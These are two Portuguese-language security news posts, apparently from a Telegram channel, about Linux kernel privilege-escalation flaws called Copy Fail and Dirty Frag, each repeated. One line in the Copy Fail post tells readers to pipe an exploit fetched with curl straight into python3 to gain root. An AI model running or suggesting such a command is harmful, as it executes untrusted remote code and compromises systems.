Vulnerabilidade no kernel Linux passou quase uma década despercebida
A vulnerabilidade Copy Fail (CVE-2026-31431) expôs um problema crítico no kernel Linux por quase 10 anos, mas foi encontrado rapidamente com auxílio de IA. Trata-se de uma falha lógica no subsistema criptográfico que permite a um usuário comum escalar privilégios para root em praticamente qualquer distribuição lançada desde 2017.
O mais alarmante é a simplicidade: um script de cerca de 700 bytes é suficiente para explorar o bug de forma confiável, sem depender de condições específicas ou variações entre distros.
O explot possibilita alterar binários privilegiados em memória e obter root quando eles são executados, sem deixar rastros no disco. O impacto é ampliado em ambientes multiusuário e containers, onde um usuário não privilegiado pode comprometer todo o sistema ou escapar de containers.
A falha já foi corrigida no kernel principal e patches estão sendo distribuídos pelas principais distros, mas o risco permanece alto enquanto sistemas não forem atualizados.
Para verificar se um sistema é vulnerável, basta executar
#linux #exploit #notícias
Mais detalhes: copy.fail
Noticiado em @CopyrightBR e @UncopyGroup
A vulnerabilidade Copy Fail (CVE-2026-31431) expôs um problema crítico no kernel Linux por quase 10 anos, mas foi encontrado rapidamente com auxílio de IA. Trata-se de uma falha lógica no subsistema criptográfico que permite a um usuário comum escalar privilégios para root em praticamente qualquer distribuição lançada desde 2017.
O mais alarmante é a simplicidade: um script de cerca de 700 bytes é suficiente para explorar o bug de forma confiável, sem depender de condições específicas ou variações entre distros.
O explot possibilita alterar binários privilegiados em memória e obter root quando eles são executados, sem deixar rastros no disco. O impacto é ampliado em ambientes multiusuário e containers, onde um usuário não privilegiado pode comprometer todo o sistema ou escapar de containers.
A falha já foi corrigida no kernel principal e patches estão sendo distribuídos pelas principais distros, mas o risco permanece alto enquanto sistemas não forem atualizados.
Para verificar se um sistema é vulnerável, basta executar
curl https://copy.fail/exp | python3 && su com uma conta padrão sem privilégios. Porém, é importante observar que isso é confiar em um script online.#linux #exploit #notícias
Mais detalhes: copy.fail
Noticiado em @CopyrightBR e @UncopyGroup
xint.io
Copy Fail: 732 Bytes to Root on Linux - Xint
Copy Fail (CVE-2026-31431) turns a Linux AF_ALG flaw into a 4-byte page cache write and local root across major Linux distributions and cloud platforms. | AI f…
😁27❤1🔥1
Nova vulnerabilidade “Dirty Frag” ameaça sistemas Linux recentes
Pesquisadores divulgaram a vulnerabilidade “Dirty Frag”, uma nova falha de escalonamento de privilégios no kernel Linux comparada ao recente Copy Fail. O bug permite que usuários sem privilégios modifiquem páginas em cache da memória e obtenham acesso root localmente, afetando kernels modernos lançados desde 2017. A exploração já foi publicada publicamente após a quebra antecipada do embargo de divulgação.
O problema envolve principalmente os módulos esp4, esp6 e rxrpc, ligados a IPsec e RxRPC. Até o momento, patches ainda estão sendo integrados ao kernel principal, e algumas distribuições podem permanecer vulneráveis até liberarem atualizações oficiais. Como mitigação temporária, administradores podem desabilitar esses módulos, embora isso possa quebrar VPNs IPsec e alguns sistemas distribuídos.
Assim como o Copy Fail e o Dirty Pipe, o Dirty Frag reforça uma tendência preocupante: falhas locais no kernel Linux capazes de transformar qualquer acesso limitado, inclusive via containers ou serviços comprometidos, em controle total do sistema. A recomendação atual é acompanhar patches das distribuições, reiniciar sistemas após atualização e considerar mitigação imediata em servidores multiusuário ou expostos.
#linux #kernel #exploit #segurança #notícias
Fonte
Noticiado em @CopyrightBR e @UncopyGroup
Pesquisadores divulgaram a vulnerabilidade “Dirty Frag”, uma nova falha de escalonamento de privilégios no kernel Linux comparada ao recente Copy Fail. O bug permite que usuários sem privilégios modifiquem páginas em cache da memória e obtenham acesso root localmente, afetando kernels modernos lançados desde 2017. A exploração já foi publicada publicamente após a quebra antecipada do embargo de divulgação.
O problema envolve principalmente os módulos esp4, esp6 e rxrpc, ligados a IPsec e RxRPC. Até o momento, patches ainda estão sendo integrados ao kernel principal, e algumas distribuições podem permanecer vulneráveis até liberarem atualizações oficiais. Como mitigação temporária, administradores podem desabilitar esses módulos, embora isso possa quebrar VPNs IPsec e alguns sistemas distribuídos.
Assim como o Copy Fail e o Dirty Pipe, o Dirty Frag reforça uma tendência preocupante: falhas locais no kernel Linux capazes de transformar qualquer acesso limitado, inclusive via containers ou serviços comprometidos, em controle total do sistema. A recomendação atual é acompanhar patches das distribuições, reiniciar sistemas após atualização e considerar mitigação imediata em servidores multiusuário ou expostos.
#linux #kernel #exploit #segurança #notícias
Fonte
Noticiado em @CopyrightBR e @UncopyGroup
CloudLinux
Dirty Frag (CVE-2026-43284, CVE-2026-43500): Mitigation and Kernel Update on CloudLinux
Dirty Frag is a Linux kernel local privilege escalation in the xfrm subsystem. Apply the mitigation now while patched kernels and KernelCare livepatches are prepared.
🤯13👍5😁3❤2🔥1